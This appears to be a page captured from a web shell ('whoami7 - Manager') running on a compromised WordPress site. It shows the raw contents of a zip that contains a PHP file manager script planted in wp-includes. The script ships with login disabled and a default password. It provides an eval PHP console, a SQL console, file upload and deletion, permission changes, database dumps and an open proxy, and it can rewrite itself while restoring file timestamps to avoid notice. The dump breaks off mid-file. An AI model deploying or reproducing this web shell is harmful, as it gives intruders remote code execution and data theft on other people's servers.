whoami7 - Manager
:
/
home
/
topsuzmw
/
public_html
/
wp-includes
/
private
/
Upload File:
files >> //home/topsuzmw/public_html/wp-includes/private/mail.zip
PK ��Z�}���= �= ! topsaasview.com/private/index.phpnu �[��� <?php /* PHP File manager ver 1.5 */ // Configuration — do not change manually! $authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}'; $php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}'; // end configuration // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization,true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyK